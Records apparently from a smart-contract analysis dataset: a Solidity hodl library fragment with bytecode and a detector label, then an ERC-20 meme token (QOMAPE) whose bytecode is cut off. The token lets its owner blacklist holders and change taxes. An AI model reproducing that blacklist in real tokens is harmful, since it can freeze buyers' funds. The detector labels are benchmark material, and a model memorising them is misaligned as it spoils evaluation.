ops //--------------------------------------------------------------- struct PendingHodl { // HodlLib.PackedHodlItem; address creator; uint96 amountPrps; address dubiBeneficiary; uint96 dubiToMint; address prpsBeneficiary; uint24 hodlId; uint16 duration; } struct PendingRelease { uint24 hodlId; uint96 releasablePrps; // Required for look-up of hodl item address creator; // prpsBeneficiary is implied } struct PendingWithdrawal { address prpsBeneficiary; uint96 dubiToMint; // Required for look-up of hodl item address creator; uint24 hodlId; } function setLockedPrpsToPending( HodlLib.PackedHodlItem[] storage hodlsSender, uint96 amount ) public { // Sum of the PRPS that got marked pending or removed from pending hodls. uint96 totalLockedPrpsMarkedPending; uint256 length = hodlsSender.length; for (uint256 i = 0; i < length; i++) { HodlLib.PackedHodlItem storage packed = hodlsSender[i]; HodlLib.UnpackedHodlItem memory unpacked = HodlLib.unpackHodlItem( packed.packedData ); // Skip hodls which are occupied by pending releases/withdrawals, but // allow modifying hodls with already pending locked PRPS. if (unpacked.flags.hasDependentHodlOp) { continue; } uint96 remainingPendingPrps = amount - totalLockedPrpsMarkedPending; // Sanity check assert(remainingPendingPrps <= amount); // No more PRPS left to mark pending if (remainingPendingPrps == 0) { break; } // Remaining PRPS on the hodl that can be marked pending uint96 pendingLockedPrps; if (unpacked.flags.hasPendingLockedPrps) { pendingLockedPrps = packed.pendingLockedPrps; } uint96 remainingLockedPrps = unpacked.lockedPrps - unpacked.burnedLockedPrps - pendingLockedPrps; // Sanity check assert(remainingLockedPrps <= unpacked.lockedPrps); // Skip to next hodl if no PRPS left on hodl if (remainingLockedPrps == 0) { continue; } // Cap amount if the remaining PRPS on hodl is less than what still needs to be marked pending if (remainingPendingPrps > remainingLockedPrps) { remainingPendingPrps = remainingLockedPrps; } // Update pending PRPS on hodl uint96 updatedPendingPrpsOnHodl = pendingLockedPrps + remainingPendingPrps; // Total of pending PRPS on hodl may never exceed (locked - burned) PRPS. assert( updatedPendingPrpsOnHodl <= unpacked.lockedPrps - unpacked.burnedLockedPrps ); totalLockedPrpsMarkedPending += remainingPendingPrps; // Write updated hodl item to storage unpacked.flags.hasPendingLockedPrps = true; packed.pendingLockedPrps = updatedPendingPrpsOnHodl; packed.packedData = HodlLib.packHodlItem(unpacked); } require(totalLockedPrpsMarkedPending == amount, "H-14"); } function revertLockedPrpsSetToPending( HodlLib.PackedHodlItem[] storage hodlsSender, uint96 amount ) public { require(amount > 0, "H-22"); // Remaining pending PRPS to take from hodls uint96 remainingPendingLockedPrps = amount; uint256 length = hodlsSender.length; // Traverse hodls and remove pending locked PRPS until `amount` // is filled. for (uint256 i = 0; i < length; i++) { HodlLib.PackedHodlItem storage packed = hodlsSender[i]; HodlLib.UnpackedHodlItem memory unpacked = HodlLib.unpackHodlItem( packed.packedData ); if ( !unpacked.flags.hasPendingLockedPrps || unpacked.flags.hasDependentHodlOp ) { // Skip hodls without pending locked PRPS or when occupied // by pending releases and withdrawals continue; } // Hodl has pending locked PRPS // Ensure we do not remove more than what is needed uint96 remainingPendingPrpsOnHodl = packed.pendingLockedPrps; if (remainingPendingPrpsOnHodl > remainingPendingLockedPrps) { remainingPendingPrpsOnHodl = remainingPendingLockedPrps; } // The check above guarantees that this cannot underflow remainingPendingLockedPrps -= remainingPendingPrpsOnHodl; packed.pendingLockedPrps -= remainingPendingPrpsOnHodl; // Update hodl if all pending locked PRPS has been removed if (remainingPendingPrpsOnHodl == 0) { unpacked.flags.hasPendingLockedPrps = false; packed.packedData = HodlLib.packHodlItem(unpacked); } // Break loop if the remaining total pending PRPS is zero if (remainingPendingLockedPrps == 0) { // Done break; } } // Sanity check assert(remainingPendingLockedPrps == 0); } }
0x739c48718ff7556a4e82a7f76f11878628138079d230146080604052600436106100405760003560e01c8063a9515fec14610045578063f211dc5114610067575b600080fd5b81801561005157600080fd5b5061006561006036600461059d565b610087565b005b81801561007357600080fd5b5061006561008236600461059d565b6101d3565b6000816001600160601b0316116100b95760405162461bcd60e51b81526004016100b0906105d7565b60405180910390fd5b8154819060005b818110156101bb5760008582815481106100d657fe5b906000526020600020906003020190506100ee61053c565b81546100f990610389565b9050806040015160600151158061011557508060400151604001515b156101215750506101b3565b60028201546001600160601b03600160a01b90910481169086168111156101455750845b6002830180546001600160601b03600160a01b80830482168590038216026001600160a01b03909216919091179091559581900395811661019957604082015160006060909101526101968261045e565b83555b6001600160601b0386166101af575050506101bb565b5050505b6001016100c0565b506001600160601b038216156101cd57fe5b50505050565b8154600090815b818110156103575760008582815481106101f057fe5b9060005260206000209060030201905061020861053c565b815461021390610389565b90508060400151604001511561022a57505061034f565b8486036001600160601b03808816908216111561024357fe5b6001600160601b03811661025957505050610357565b60008260400151606001511561028057506002830154600160a01b90046001600160601b03165b60a08301516080840151908103829003906001600160601b0390811690821611156102a757fe5b6001600160601b0381166102bf57505050505061034f565b806001600160601b0316836001600160601b031611156102dd578092505b600083830190508460a001518560800151036001600160601b0316816001600160601b0316111561030a57fe5b604085015160016060909101526002860180546001600160a01b0316600160a01b6001600160601b03841602179055978301976103468561045e565b90955550505050505b6001016101da565b50826001600160601b0316826001600160601b0316146101cd5760405162461bcd60e51b81526004016100b0906105f5565b61039161053c565b61039961053c565b620fffff80841682526101ff601485901c8181166020850152637fffffff601d87901c8181166060870152603c9488949093929091906103d7610576565b5060408089015160018c8a1c811681148252808a018d901c81168114602083015260028a018d901c8116811492820192909252600389018c901c821690911460608201526001600160601b03600489018c901c811660808b0152606489018c901c1660a08a015260c490970196610100881461044f57fe5b50969998505050505050505050565b805160208201516060830151600092620fffff808216601485901b631ff000001617601d84901b670fffffffe0000000161793603c936101ff90637fffffff6104a5610576565b5060408a01518051156104bc576001881b98909817975b8060200151156104d357876001016001901b891798505b8060400151156104ea57876002016001901b891798505b80606001511561050157876003016001901b891798505b60808b015160a08c01516001600160601b0390811660648b011b911660048a011b99909917989098179760c490970196610100881461044f57fe5b6040805160c0810182526000808252602082015290810161055b610576565b81526000602082018190526040820181905260609091015290565b60408051608081018252600080825260208201819052918101829052606081019190915290565b600080604083850312156105af578182fd5b8235915060208301356001600160601b03811681146105cc578182fd5b809150509250929050565b6020808252600490820152632416991960e11b604082015260600190565b602080825260049082015263120b4c4d60e21b60408201526060019056fea2646970667358221220312e93dfbe711236f08193fa9b865b7d401df7cc899350d8ff5b55006fd5146064736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
3,646
0xb8de3cb25f6c9c382c46b8510697c3d7216e252a
/** */ // SPDX-License-Identifier: UNLICENSED //t.me/qomape //www.qomape.com pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract QOMAPE is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "QOMAPE"; string private constant _symbol = "QOMAPE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xc953e3CdE2f3759b5bCB25F7DCfCf87135E9c68F); _buyTax = 3; _sellTax = 3; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setRemoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 1_000_001 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 90_000_000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 15) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 15) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063715018a6116100ab578063b515566a1161006f578063b515566a146103c5578063c3c8cd80146103ee578063c9567bf914610405578063dbe8272c1461041c578063dc1052e214610445578063dd62ed3e1461046e57610135565b8063715018a6146103045780638da5cb5b1461031b57806395d89b41146103465780639e78fb4f14610371578063a9059cbb1461038857610135565b8063273123b7116100f2578063273123b714610233578063313ce5671461025c57806346df33b7146102875780636fc3eaec146102b057806370a08231146102c757610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a25780631bbae6e0146101cd57806323b872dd146101f657610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f6104ab565b60405161015c9190612ccd565b60405180910390f35b34801561017157600080fd5b5061018c6004803603810190610187919061283d565b6104e8565b6040516101999190612cb2565b60405180910390f35b3480156101ae57600080fd5b506101b7610506565b6040516101c49190612e0f565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190612920565b610516565b005b34801561020257600080fd5b5061021d600480360381019061021891906127ea565b6105c6565b60405161022a9190612cb2565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612750565b61069f565b005b34801561026857600080fd5b5061027161078f565b60405161027e9190612e84565b60405180910390f35b34801561029357600080fd5b506102ae60048036038101906102a991906128c6565b610798565b005b3480156102bc57600080fd5b506102c561084a565b005b3480156102d357600080fd5b506102ee60048036038101906102e99190612750565b6108f0565b6040516102fb9190612e0f565b60405180910390f35b34801561031057600080fd5b50610319610941565b005b34801561032757600080fd5b50610330610a94565b60405161033d9190612be4565b60405180910390f35b34801561035257600080fd5b5061035b610abd565b6040516103689190612ccd565b60405180910390f35b34801561037d57600080fd5b50610386610afa565b005b34801561039457600080fd5b506103af60048036038101906103aa919061283d565b610e03565b6040516103bc9190612cb2565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e7919061287d565b610e21565b005b3480156103fa57600080fd5b50610403610f4b565b005b34801561041157600080fd5b5061041a610ff9565b005b34801561042857600080fd5b50610443600480360381019061043e9190612920565b6112e1565b005b34801561045157600080fd5b5061046c60048036038101906104679190612920565b61138a565b005b34801561047a57600080fd5b50610495600480360381019061049091906127aa565b611433565b6040516104a29190612e0f565b60405180910390f35b60606040518060400160405280600681526020017f514f4d4150450000000000000000000000000000000000000000000000000000815250905090565b60006104fc6104f56114ba565b84846114c2565b6001905092915050565b600067016345785d8a0000905090565b61051e6114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105a290612d8f565b60405180910390fd5b67013fbe85edc900008111156105c357806010819055505b50565b60006105d384848461168d565b610694846105df6114ba565b61068f856040518060600160405280602881526020016134ea60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106456114ba565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bbb9092919063ffffffff16565b6114c2565b600190509392505050565b6106a76114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610734576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072b90612d8f565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107a06114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461082d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082490612d8f565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b6108526114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d690612d8f565b60405180910390fd5b60004790506108ed81611c1f565b50565b600061093a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c8b565b9050919050565b6109496114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cd90612d8f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f514f4d4150450000000000000000000000000000000000000000000000000000815250905090565b610b026114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8690612d8f565b60405180910390fd5b600f60149054906101000a900460ff1615610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd690612def565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7f57600080fd5b505afa158015610c93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb7919061277d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1957600080fd5b505afa158015610d2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d51919061277d565b6040518363ffffffff1660e01b8152600401610d6e929190612bff565b602060405180830381600087803b158015610d8857600080fd5b505af1158015610d9c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc0919061277d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e17610e106114ba565b848461168d565b6001905092915050565b610e296114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ead90612d8f565b60405180910390fd5b60005b8151811015610f4757600160066000848481518110610edb57610eda6131cc565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f3f90613125565b915050610eb9565b5050565b610f536114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fd790612d8f565b60405180910390fd5b6000610feb306108f0565b9050610ff681611cf9565b50565b6110016114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108590612d8f565b60405180910390fd5b6110c330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a00006114c2565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061110c306108f0565b600080611117610a94565b426040518863ffffffff1660e01b815260040161113996959493929190612c51565b6060604051808303818588803b15801561115257600080fd5b505af1158015611166573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061118b919061294d565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066038d7ee0614a006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161128c929190612c28565b602060405180830381600087803b1580156112a657600080fd5b505af11580156112ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112de91906128f3565b50565b6112e96114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611376576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136d90612d8f565b60405180910390fd5b600f8110156113875780600b819055505b50565b6113926114ba565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461141f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141690612d8f565b60405180910390fd5b600f8110156114305780600c819055505b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611532576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152990612dcf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159990612d2f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116809190612e0f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f490612daf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561176d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176490612cef565b60405180910390fd5b6000811161177a57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117d157600080fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118755750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611bab576000600981905550600c54600a81905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119365750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561198c5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119a45750600f60179054906101000a900460ff165b156119d95760006119b4836108f0565b90506010546119cc8284611f8190919063ffffffff16565b11156119d757600080fd5b505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16148015611a845750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ada5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611af1576000600981905550600b54600a819055505b6000611afc306108f0565b9050600f60159054906101000a900460ff16158015611b695750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b815750600f60169054906101000a900460ff165b15611ba957611b8f81611cf9565b60004790506000811115611ba757611ba647611c1f565b5b505b505b611bb6838383611fdf565b505050565b6000838311158290611c03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bfa9190612ccd565b60405180910390fd5b5060008385611c129190613026565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c87573d6000803e3d6000fd5b5050565b6000600754821115611cd2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc990612d0f565b60405180910390fd5b6000611cdc611fef565b9050611cf1818461201a90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d